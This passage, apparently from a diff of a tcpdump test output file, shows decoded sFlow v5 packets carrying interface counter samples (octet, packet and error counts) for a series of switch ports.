+    168.87.240.1.40000 > 15.184.3.9.6343: sFlow version 327681 packet not supported
+IP (tos 0x0, ttl 254, id 0, offset 0, flags [none], proto UDP (17), length 148)
+    168.87.240.2.40000 > 15.184.3.9.6343: sFlow version 327682 packet not supported
+IP (tos 0x0, ttl 254, id 50954, offset 0, flags [none], proto UDP (17), length 596)
+    168.87.240.3.50340 > 15.184.3.9.6343: sFlowv5, IPv4 agent 15.184.1.129, agent-id 6, seqnum 444099, uptime 127119529, samples 3, length 568
+	expanded counter sample (4), length 172, seqnum 147400, type 0, idx 65, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 65, iftype 117, ifspeed 10000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 71855431, unicast pkts 5778, multicast pkts 294751, broadcast pkts 0, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 2102528585, unicast pkts 40099, multicast pkts 368505, broadcast pkts 42768255, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 147400, type 0, idx 66, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 66, iftype 117, ifspeed 10000000000, ifdirection 1 (full-duplex)
+	      ifstatus 1, adminstatus: up, operstatus: down
+	      In octets 25177702, unicast pkts 0, multicast pkts 104472, broadcast pkts 4, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 39878920, unicast pkts 4387, multicast pkts 261178, broadcast pkts 1, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 147400, type 0, idx 67, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 67, iftype 117, ifspeed 10000000000, ifdirection 1 (full-duplex)
+	      ifstatus 1, adminstatus: up, operstatus: down
+	      In octets 25284454, unicast pkts 0, multicast pkts 104859, broadcast pkts 4, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 31308450, unicast pkts 5841, multicast pkts 133252, broadcast pkts 299, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+IP (tos 0x0, ttl 253, id 12213, offset 0, flags [none], proto UDP (17), length 1316)
+    15.184.1.195.4942 > 15.184.3.9.6343: sFlowv5, IPv4 agent 15.184.1.195, agent-id 1, seqnum 10499687, uptime 12975660, samples 7, length 1288
+	expanded counter sample (4), length 172, seqnum 2007196, type 0, idx 1, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 1, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 2460750, unicast pkts 22544, multicast pkts 5, broadcast pkts 6408, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 3991394888, unicast pkts 131978, multicast pkts 2198965, broadcast pkts 48358863, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 2006746, type 0, idx 2, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 2, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 122196260, unicast pkts 82823825, multicast pkts 710, broadcast pkts 38540, discards 0
+	      In errors 2, unknown protos 0
+	      Out octets 3744715166, unicast pkts 93942161, multicast pkts 2218252, broadcast pkts 48317917, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 2, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 2007119, type 0, idx 3, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 3, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 87175881, unicast pkts 11173387, multicast pkts 1312, broadcast pkts 7310, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 2575091711, unicast pkts 8663056, multicast pkts 1949260, broadcast pkts 8701202, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 2007649, type 0, idx 4, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 4, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 3013639728, unicast pkts 424917338, multicast pkts 1216, broadcast pkts 196654, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 584569975, unicast pkts 294167698, multicast pkts 1948957, broadcast pkts 8512276, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 1832885, type 0, idx 5, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 5, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 3835856598, unicast pkts 6812799, multicast pkts 1145, broadcast pkts 705277, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 2182764482, unicast pkts 8284848, multicast pkts 2738770, broadcast pkts 7987023, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 2007140, type 0, idx 6, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 6, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 21722, unicast pkts 0, multicast pkts 12, broadcast pkts 37, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 1874046630, unicast pkts 98496, multicast pkts 1955062, broadcast pkts 20311836, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 2006987, type 0, idx 7, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 7, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 3474926128, unicast pkts 10088201, multicast pkts 1463, broadcast pkts 14105, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 831378843, unicast pkts 12805926, multicast pkts 1954494, broadcast pkts 20293371, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+IP (tos 0x0, ttl 253, id 12214, offset 0, flags [none], proto UDP (17), length 1316)
+    15.184.1.195.4942 > 15.184.3.9.6343: sFlowv5, IPv4 agent 15.184.1.195, agent-id 1, seqnum 10499688, uptime 12975661, samples 7, length 1288
+	expanded counter sample (4), length 172, seqnum 2007115, type 0, idx 8, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 8, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 3858988244, unicast pkts 13191097, multicast pkts 1215, broadcast pkts 24593, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 2559232288, unicast pkts 16126546, multicast pkts 1954848, broadcast pkts 20284434, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 2007002, type 0, idx 9, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 9, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 3386316332, unicast pkts 14360061, multicast pkts 1244, broadcast pkts 16485, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 1675799221, unicast pkts 15790519, multicast pkts 1954451, broadcast pkts 20291230, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 2005310, type 0, idx 10, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 10, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 1558898282, unicast pkts 162603641, multicast pkts 1331, broadcast pkts 188407, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 3568458900, unicast pkts 162582480, multicast pkts 1953553, broadcast pkts 20106785, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 2007257, type 0, idx 11, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 11, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 125808339, unicast pkts 691735, multicast pkts 2539, broadcast pkts 22184, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 1249750181, unicast pkts 33020559, multicast pkts 2196657, broadcast pkts 48342104, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 2007179, type 0, idx 12, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 12, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 45949249, unicast pkts 205456, multicast pkts 1743, broadcast pkts 8308, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 4019313234, unicast pkts 210496, multicast pkts 2197587, broadcast pkts 48353561, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 2007156, type 0, idx 13, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 13, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 32111027, unicast pkts 143922, multicast pkts 1193, broadcast pkts 5276, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 4050797426, unicast pkts 198665, multicast pkts 2197850, broadcast pkts 48353779, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 2006876, type 0, idx 14, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 14, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 19576, unicast pkts 19, multicast pkts 5, broadcast pkts 30, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 3990801228, unicast pkts 107683, multicast pkts 2199048, broadcast pkts 48364452, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+IP (tos 0x0, ttl 253, id 12215, offset 0, flags [none], proto UDP (17), length 1316)
+    15.184.1.195.4942 > 15.184.3.9.6343: sFlowv5, IPv4 agent 15.184.1.195, agent-id 1, seqnum 10499689, uptime 12975663, samples 7, length 1288
+	expanded counter sample (4), length 172, seqnum 2007175, type 0, idx 15, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 15, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 96700793, unicast pkts 453020, multicast pkts 2568, broadcast pkts 22804, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 4042743345, unicast pkts 379591, multicast pkts 2196676, broadcast pkts 48338646, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 2007086, type 0, idx 16, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 16, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 289703711, unicast pkts 1654844, multicast pkts 37302, broadcast pkts 22784, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 4098637095, unicast pkts 801788, multicast pkts 2166613, broadcast pkts 48320960, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 2007172, type 0, idx 17, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 17, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 45204461, unicast pkts 194096, multicast pkts 1700, broadcast pkts 8788, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 4014792810, unicast pkts 198133, multicast pkts 2197652, broadcast pkts 48351768, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 2007170, type 0, idx 18, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 18, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 95210366, unicast pkts 443561, multicast pkts 2169, broadcast pkts 24997, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 4035379503, unicast pkts 332327, multicast pkts 2196767, broadcast pkts 48336027, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 2007265, type 0, idx 19, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 19, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 1379521296, unicast pkts 50010620, multicast pkts 1046, broadcast pkts 48921, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 435976335, unicast pkts 57993600, multicast pkts 2197958, broadcast pkts 48315375, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 2007258, type 0, idx 20, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 20, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 312017292, unicast pkts 47238597, multicast pkts 1476, broadcast pkts 23377, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 3242136708, unicast pkts 57532634, multicast pkts 2198069, broadcast pkts 48339981, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 2009605, type 0, idx 21, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 21, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 4127607826, unicast pkts 29906144, multicast pkts 1233, broadcast pkts 69575, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 2091792747, unicast pkts 3024931093, multicast pkts 2198065, broadcast pkts 48294332, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+IP (tos 0x0, ttl 253, id 12216, offset 0, flags [none], proto UDP (17), length 1316)
+    15.184.1.195.4942 > 15.184.3.9.6343: sFlowv5, IPv4 agent 15.184.1.195, agent-id 1, seqnum 10499690, uptime 12975664, samples 7, length 1288
+	expanded counter sample (4), length 172, seqnum 2007105, type 0, idx 22, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 22, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 124432239, unicast pkts 511115, multicast pkts 21969, broadcast pkts 120004, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 3066166092, unicast pkts 2595939, multicast pkts 2177143, broadcast pkts 48244891, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 2008569, type 0, idx 23, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 23, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 142412715, unicast pkts 4067695849, multicast pkts 1301, broadcast pkts 59350, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 3335716564, unicast pkts 2083658988, multicast pkts 2198160, broadcast pkts 48304443, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 2009650, type 0, idx 24, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 24, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 1376243919, unicast pkts 42736656, multicast pkts 1161, broadcast pkts 37177, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 3949008841, unicast pkts 3045234063, multicast pkts 2197974, broadcast pkts 48326808, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 2009622, type 0, idx 25, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 25, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 1314601210, unicast pkts 4258058414, multicast pkts 1154, broadcast pkts 42425, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 2836953588, unicast pkts 2986750860, multicast pkts 2197982, broadcast pkts 48321714, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 2007194, type 0, idx 26, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 26, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 2022052468, unicast pkts 13527038, multicast pkts 933, broadcast pkts 57921, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 620629707, unicast pkts 19469425, multicast pkts 2198358, broadcast pkts 48305869, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 2007254, type 0, idx 27, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 27, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 3262458931, unicast pkts 47684835, multicast pkts 1039, broadcast pkts 5299, discards 0
+	      In errors 3, unknown protos 0
+	      Out octets 3900626480, unicast pkts 54120142, multicast pkts 2198706, broadcast pkts 48356894, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 2, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 2005149, type 0, idx 28, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 28, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 259120552, unicast pkts 1107924, multicast pkts 198, broadcast pkts 3429, discards 0
+	      In errors 2, unknown protos 0
+	      Out octets 653805810, unicast pkts 4189777, multicast pkts 2198871, broadcast pkts 48346830, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 2, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+IP (tos 0x0, ttl 253, id 12217, offset 0, flags [none], proto UDP (17), length 1136)
+    15.184.1.195.4942 > 15.184.3.9.6343: sFlowv5, IPv4 agent 15.184.1.195, agent-id 1, seqnum 10499691, uptime 12975801, samples 6, length 1108
+	expanded counter sample (4), length 172, seqnum 2007269, type 0, idx 29, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 29, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 1267844166, unicast pkts 49781127, multicast pkts 1368, broadcast pkts 40480, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 321243842, unicast pkts 57718818, multicast pkts 2197767, broadcast pkts 48323189, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 2009634, type 0, idx 30, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 30, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 1960827113, unicast pkts 4258067543, multicast pkts 1249, broadcast pkts 60280, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 3144893898, unicast pkts 3032873251, multicast pkts 2198370, broadcast pkts 48301571, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 2017265, type 0, idx 50, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 50, iftype 117, ifspeed 10000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 4161963799, unicast pkts 3263163886, multicast pkts 1151176, broadcast pkts 287880331, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 296849779, unicast pkts 1684325936, multicast pkts 1126235, broadcast pkts 1405132663, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 2017180, type 0, idx 51, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 51, iftype 117, ifspeed 10000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 2214905605, unicast pkts 2466386895, multicast pkts 5276601, broadcast pkts 1225128676, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 3025945518, unicast pkts 2183065991, multicast pkts 899419, broadcast pkts 2308600565, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 1220660, type 0, idx 52, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 52, iftype 117, ifspeed 10000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 3618900052, unicast pkts 334487763, multicast pkts 651947, broadcast pkts 3712423535, discards 0
+	      In errors 1, unknown protos 0
+	      Out octets 697413100, unicast pkts 537120139, multicast pkts 163886, broadcast pkts 4083094099, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 1, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 1
+	expanded counter sample (4), length 172, seqnum 1220563, type 0, idx 53, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 53, iftype 117, ifspeed 10000000000, ifdirection 1 (full-duplex)
